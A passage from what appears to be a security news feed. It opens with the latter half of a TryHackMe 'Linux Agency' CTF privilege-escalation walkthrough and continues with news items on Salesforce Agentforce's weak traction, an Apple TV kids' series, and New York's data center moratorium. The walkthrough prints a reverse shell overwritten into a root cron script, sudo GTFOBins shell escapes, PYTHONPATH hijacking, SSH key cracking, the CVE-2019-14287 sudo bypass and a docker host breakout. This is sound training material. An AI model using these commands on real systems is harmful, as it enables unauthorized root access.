Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Salesforce’s Agentforce product maturity questioned as KeyBanc cites weak customer traction]]></title>
<description><![CDATA[Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, followi...]]></description>
<link>https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675273/it-nachrichten/salesforces-agentforce-product-maturity-questioned-as-keybanc-cites-weak-customer-traction/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Salesforce’s AI agent platform, Agentforce, is seeing weaker-than-expected customer traction, according to a recent KeyBanc Capital Markets investment research note, which attributed the slowdown in part to the product itself, stating that “Agentforce, as a product, just isn’t there” yet, following customer checks and a CIO survey.</p>



<p class="wp-block-paragraph">“Our checks and customer conversations have not been strong, nor has the feedback been on Agentforce. What we can piece together in the disclosed numbers does not signal building momentum and, most recently, our CIO survey delivered another blow with Salesforce being a standout for the wrong reasons,” according to a<a href="https://seekingalpha.com/news/4612661-salesforce-receives-downgrade-to-sector-weight-as-agentforce-fails-to-gain-momentum-keybanc"> Seeking Alpha</a> that quoted a KeyBanc research note.</p>



<p class="wp-block-paragraph">“We attend more Salesforce partner and customer events than any other company in our coverage, and feedback from those customers has been consistent in two ways: 1) customers’ data is not in order to do meaningful AI work; and 2) Agentforce, as a product, just isn’t there,” Seeking Alpha reported, quoting the KeyBanc note.</p>



<p class="wp-block-paragraph">The KeyBanc note quoted by Seeking Alpha also pointed out that conversations with Salesforce “partners” indicate that Agentforce proof-of-concept deployments are only now starting to generate pipeline opportunities, while its CIO survey found more respondents expecting to deprioritize Salesforce within their IT budget than the other way around over the coming 12 months.</p>



<p class="wp-block-paragraph">The findings in the research note stand in contrast to Salesforce’s sustained push to position Agentforce as its flagship enterprise AI platform. Since introducing the offering nearly two years back, the company has expanded it with new <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">foundation models, integrations</a>, deployment options, and pricing initiatives, most recently introducing its <a href="https://www.cio.com/article/4159536/salesforce-launches-headless-360-to-support-agent-first-enterprise-workflows.html">Headless 360</a> strategy to make Agentforce available beyond conventional CRM workflows through a more flexible consumption model.</p>



<p class="wp-block-paragraph">Parts of that flexible consumption model and Agentforce pricing, which Salesforce is still evolving, have already come under scrutiny with industry analysts <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">expressing concern</a> that Headless 360’s monetization model could create budgeting headaches for CIOs by making AI spending less predictable and increasing pressure on IT leaders to demonstrate measurable business outcomes and return on investment before expanding deployments.</p>



<h2 class="wp-block-heading">Concerns over product maturity</h2>



<p class="wp-block-paragraph">Those concerns around Agentforce’s evolving pricing model appear to be intersecting with the latest concerns about product maturity that KeyBanc analysts mention in their report.</p>



<p class="wp-block-paragraph">“Three pricing model changes in roughly 18 months make procurement committees nervous, and if the commercial model keeps shifting, buyers question whether the product has stabilized either,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Salesforce’s latest consumption-based pricing model, Chopra pointed out, is a bigger concern: “It is harder to budget for than seat-based licensing. CIOs want a clearer line between spend and outcome. That line isn’t clear enough yet.”</p>



<p class="wp-block-paragraph">Greyhound Research Chief Analyst <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, too, said that the pricing model is a fundamental issue for enterprises.</p>



<p class="wp-block-paragraph">While Salesforce’s pricing model charges enterprises for AI activity, it leaves customers to determine whether those interactions ultimately translate into meaningful business outcomes, Gogia said.</p>



<p class="wp-block-paragraph">That, according to <a href="https://reimagine.nelson-hall.com/analysts/1521" target="_blank" rel="noreferrer noopener">Gaurav Parab</a>, principal research analyst at NelsonHall, is slowing adoption because enterprise leaders, such as CIOs, are under pressure to evaluate TCO and expected ROI.</p>



<p class="wp-block-paragraph">“Most enterprises first want confidence that AI deployments will generate measurable business outcomes before committing to broader rollouts,” he said.</p>



<h2 class="wp-block-heading">Data Cloud and data readiness remain as challenges</h2>



<p class="wp-block-paragraph">Pricing, though, is just one piece of the equation.</p>



<p class="wp-block-paragraph">The discussion about Agentforce adoption, analysts said, cannot be separated from Salesforce’s broader product strategy, which positions Agentforce alongside Data Cloud as the foundation for enterprise AI deployments.</p>



<p class="wp-block-paragraph">“Data modernization has become one of the biggest determinants of adoption. Agentforce depends on trusted, unified enterprise data to generate reliable outcomes. For many organizations, preparing that data foundation through Data 360, integration, governance, and data quality initiatives represents a significant part of the implementation effort,” Purab said, backing the KeyBanc research note.</p>



<p class="wp-block-paragraph">Chopra seconded that assessment, saying Data Cloud has effectively become a prerequisite for production-grade Agentforce: “We worked with a private equity fund administrator where the AI layer only became reliable once we had clean, structured data feeding into Salesforce consistently. Before that, even well-configured automation produced inconsistent outputs.”</p>



<p class="wp-block-paragraph">In practice, that means many enterprises need to invest separately in Data Cloud, data integration, governance, and cleanup before Agentforce can be deployed reliably at scale, Chopra said.</p>



<h2 class="wp-block-heading">Implementation challenges are slowing adoption</h2>



<p class="wp-block-paragraph">Product maturity aside, those implementation challenges, Purab pointed out, are also contributing to a slower pace of Agentforce adoption in enterprises than anticipated.</p>



<p class="wp-block-paragraph">While interest in Agentforce continues to grow, enterprises, according to the analyst, are largely limiting deployments to targeted, high-value use cases while they establish trusted data foundations, integrate with existing systems, and demonstrate measurable business value.</p>



<p class="wp-block-paragraph">More so because Data Cloud accelerates Agentforce once the foundation is coherent,  it cannot make incoherence disappear, Gogia pointed out.</p>



<p class="wp-block-paragraph">Chopra, too, said his conversations with enterprise customers closely mirror Purab and KeyBanc’s findings: “The issue isn’t appetite. The issue is that their CRM data is fragmented, partially duplicated, and inconsistently structured. You can’t put an AI agent on top of that and expect reliable outputs.”</p>



<p class="wp-block-paragraph">“Cleaning that up takes months. That work doesn’t show in a vendor’s deal count, which is why signed agreements and actual production deployments are two very different numbers right now.”</p>



<h2 class="wp-block-heading">Timing issue or execution gap?</h2>



<p class="wp-block-paragraph">Despite all the challenges, though, Purab said that the slower pace of current adoption is not necessarily indicative of a long-term problem.</p>



<p class="wp-block-paragraph">“I see it as a timing issue, but it has always been the case. Enterprise AI adoption has consistently followed the maturity of data, governance, and operating models. Salesforce will undoubtedly continue refining the product, pricing, and go-to-market approach, but the larger challenge lies in enterprise readiness,” Purab said.</p>



<p class="wp-block-paragraph">“As organizations strengthen their data foundations and gain confidence in deploying AI responsibly, Agentforce adoption is likely to broaden significantly,” Purab added.</p>



<p class="wp-block-paragraph">Chopra, in contrast, offered a more nuanced view: “While data readiness, which is a customer issue, will improve with time, Salesforce needs to fix its go-to-market strategy.”</p>



<p class="wp-block-paragraph">“Three pricing changes in 18 months, a product that requires significant pre-investment before it delivers value, and implementation complexity that most mid-market buyers aren’t resourced for is definitely a positioning gap Salesforce needs to close,” Chopra said.</p>



<p class="wp-block-paragraph">Regardless of whether the current slowdown proves temporary or structural, both analysts agreed that the next six to twelve months should provide a clearer picture of Agentforce’s trajectory.</p>



<p class="wp-block-paragraph">For CIOs evaluating the platform, they said, the focus should be less on headline product announcements and more on tangible indicators of enterprise adoption and operational maturity.</p>



<p class="wp-block-paragraph">“The key indicators will be an increase in enterprise-scale production deployments rather than pilots, broader adoption beyond customer service into other business functions, stronger customer references demonstrating measurable business outcomes, continued simplification of pricing and deployment models, and greater maturity around governance, security, and operating models for AI agents,” Purab said.</p>



<p class="wp-block-paragraph">For Chopra, CIOs should go a step further by measuring how AI agents perform in production rather than simply tracking deployment numbers: “Containment rate in production — what percentage of agent interactions are resolved without human escalation — is the real performance signal, not token volume or deal count.”</p>



<p class="wp-block-paragraph">Salesforce did not immediately respond to a request for comment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV Confirms Stillwater Season 5 Release Date, All Episodes Arrive This August]]></title>
<description><![CDATA[Apple TV has confirmed the release date for Stillwater season 5, giving families another collection of gentle stories focused on emotions, friendship, and everyday challenges. The animated series will return globally on Friday, August 21, 2026, with all five new episodes arriving together.



The...]]></description>
<link>https://tsecurity.de/de/3675081/ios-mac-os/apple-tv-confirms-stillwater-season-5-release-date-all-episodes-arrive-this-august/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675081/ios-mac-os/apple-tv-confirms-stillwater-season-5-release-date-all-episodes-arrive-this-august/</guid>
<pubDate>Fri, 17 Jul 2026 07:09:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV has confirmed the release date for Stillwater season 5, giving families another collection of gentle stories focused on emotions, friendship, and everyday challenges. The animated series will return globally on Friday, August 21, 2026, with all five new episodes arriving together.



The new season continues the award-winning story of siblings Karl, Addy, and Michael, whose wise panda neighbor helps them understand their feelings and look at difficult situations from a calmer perspective. Viewers can currently stream the first four seasons on Apple TV.



Here are the main details about the upcoming season:




Release date: Friday, August 21, 2026



Number of episodes: Five



Release schedule: All episodes will arrive together



Genre: Animated kids and family series



Start airing date: August 21, 2026



Finish date: August 21, 2026



Where to watch: Apple TV



Main voice cast: James Sie, Eva Ariel Binder, Tucker Chandler, and Judah Mackey




What is Stillwater season 5 about?







Stillwater follows Karl, Addy, and Michael as they deal with problems that feel familiar to young viewers, including disappointment, uncertainty, disagreements, and fear of trying something new.



Their neighbor Stillwater listens to their concerns and often shares a thoughtful story that helps them see the situation differently. His advice encourages the children to slow down, understand their emotions, and find their own way forward.



Season 5 will continue this familiar format through five new adventures. Each episode will focus on the children learning more about themselves, their relationships, and the world around them. The series remains inspired by Jon J Muth’s bestselling Zen book collection.



The first look at the season shows Stillwater returning alongside the three siblings, suggesting that the new episodes will maintain the peaceful visual style and warm storytelling that have defined the show since its 2020 debut.



There are currently no major plot details or episode descriptions available, so viewers will need to wait for a trailer or further announcements to learn which specific challenges Karl, Addy, and Michael will face.




https://www.youtube.com/watch?v=zz1GkcvkT1g




FAQs



When is the Stillwater season 5 release date?



Stillwater season 5 will premiere globally on Apple TV on Friday, August 21, 2026.



How many episodes are in Stillwater season 5?



The fifth season contains five new episodes. Apple TV will release all five episodes on the premiere date, allowing families to watch the full season immediately.



Will Stillwater season 5 release weekly?



No. All five episodes will become available together on August 21, 2026.



Who voices Stillwater in the animated series?



James Sie voices Stillwater. The main cast also includes Eva Ariel Binder as Addy, Tucker Chandler as Michael, and Judah Mackey as Karl.



Is Stillwater suitable for children?



Yes. Stillwater is an animated kids and family series that focuses on emotional awareness, mindfulness, kindness, and solving everyday problems.



Where can I watch the previous seasons?



All four previous seasons are available to stream on Apple TV before season 5 arrives.



Is Stillwater season 5 the final season?



Apple TV has announced the fifth season but has not officially described it as the final season. Its future beyond these five episodes remains unconfirmed.



Apple TV costs $12.99 per month in the United States after a seven-day free trial. With every new episode arriving on the same day, families can watch Stillwater season 5 at their own pace from August 21. Do you plan to watch the new season? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[New York State just hit pause on the AI data center boom]]></title>
<description><![CDATA[As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.



New York Governor Kathy Hochul this week signed an Executive Order described as the “nation’s first moratorium” on new hyperscale data centers, massive...]]></description>
<link>https://tsecurity.de/de/3674888/it-security-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674888/it-security-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</guid>
<pubDate>Fri, 17 Jul 2026 03:36:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.</p>



<p class="wp-block-paragraph">New York Governor Kathy Hochul this week signed an <a href="https://www.governor.ny.gov/news/first-statewide-moratorium-new-hyperscale-data-centers-launched-governor-kathy-hochul" target="_blank" rel="noreferrer noopener">Executive Order</a> described as the “nation’s first moratorium” on new hyperscale data centers, massive factories that typically comprise thousands of servers devouring tens or hundreds of megawatts of power.</p>



<p class="wp-block-paragraph">During this up to one year pause, the state will halt issuance of environmental permits for data centers as it develops a regulatory framework to protect ratepayers, the energy grid, the environment, and local communities.</p>



<p class="wp-block-paragraph">Like other states, New York is seeing “unprecedented” demand for data center development that would ultimately require “massive amounts” of energy and water, Hochul noted. And community backlash seems to be <a href="https://datacenteropposition.com/wp-content/uploads/2026/07/June-2026-DCOR.pdf" target="_blank" rel="noreferrer noopener">accelerating at the same pace</a>.</p>



<p class="wp-block-paragraph">This is “a symptom of a bigger, nationwide issue,” said <a href="https://moorinsightsstrategy.com/team/matt-kimball/" target="_blank" rel="noreferrer noopener">Matt Kimball</a>, VP and principal analyst for data center technologies at Moor Insights &amp; Strategy. “Compute demand is far outpacing the grid,” prompting state and local leaders to pause and figure out how to manage things more effectively.</p>



<h2 class="wp-block-heading">Creating a blueprint for local development, community support</h2>



<p class="wp-block-paragraph">New York already requires data centers to pay more for energy, or to supply their own, to keep costs affordable for residents. Hochul also plans to pursue legislation that would repeal sales tax exemptions for massive data centers already existing in the state.</p>



<p class="wp-block-paragraph">During the moratorium, New York will develop a “Generic Environmental Impact Statement” (GEIS) to assess the potential environmental impacts of data center construction and operation, including their water and <a href="https://www.networkworld.com/article/4196922/how-data-centers-cope-with-heat-waves.html" target="_blank">energy demands</a> and impact on air quality. Once it’s lifted, new data center projects will only be allowed to proceed if they strictly observe state, zoning, and other local approvals.</p>



<p class="wp-block-paragraph">On a shorter 60-day timeline, the state will issue a Community Investment Framework (CIF) to provide guidance to local governments negotiating large-scale data center deals, and to ensure operators are investing in and partnering with host communities and workforces. This will set standardized expectations for projects and establish baseline thresholds for data center operators’ investment into local communities.</p>



<p class="wp-block-paragraph">Notably, New York is proposing a contribution of $1 million per megawatt (MW) of anticipated utility demand per project. Thus, 50 megawatts of use would require data center operators to reinvest $50 million into their host community; 400 megawatts would require $400 million.</p>



<p class="wp-block-paragraph">The framework will include ‘Good Neighbor Commitments’ around landscaping, design, and mitigation of noise and light pollution; labor commitments to give organized labor “a seat at the table” to determine wage standards, local hiring, and workforce development; and a community investment fund to support the host community’s “long-term economic vitality and quality of life.”</p>



<p class="wp-block-paragraph">Data center operators, for instance, could provide direct financial support to host communities, or invest in public infrastructure, housing improvements, workforce development and training programs, or in broadband expansion.</p>



<p class="wp-block-paragraph">“Having a published playbook for how to make this work across a state versus having to negotiate this on a county-by-county basis should be a win for everybody,” Moor’s Kimball noted.</p>



<p class="wp-block-paragraph">Separately, New York is also considering establishing a fund that would require data centers to invest in the state’s aging grid infrastructure and support new clean energy procurement.</p>



<h2 class="wp-block-heading">What enterprises and other states should be watching</h2>



<p class="wp-block-paragraph">Realistically, a data center buildout takes anywhere from 3 to 5 years from the point of site selection to turning on the switch for the first time, Kimball pointed out. The one-year moratorium doesn’t do too much for that.</p>



<p class="wp-block-paragraph">What matters more is what New York does during that pause, he noted, for example, establishing a regulatory framework to re-price the cost of hyperscale deployment, determining costs for grid upgrades or “bring your own power” expectations, developing requirements for more formalized operator contributions to the local community, or considering the repeal of tax exemptions.</p>



<p class="wp-block-paragraph">“And really, this subsidizing angle is the biggest,” said Kimball. States across the country have been subsidizing buildouts to get data center business for years. “This could signal the beginning of the end of those subsidies for many states.”</p>



<p class="wp-block-paragraph">For enterprise IT leaders, the headline is the signal that power and permitting are now “first-order variables” for infrastructure strategies, right alongside cost and latency requirements, said Kimball.</p>



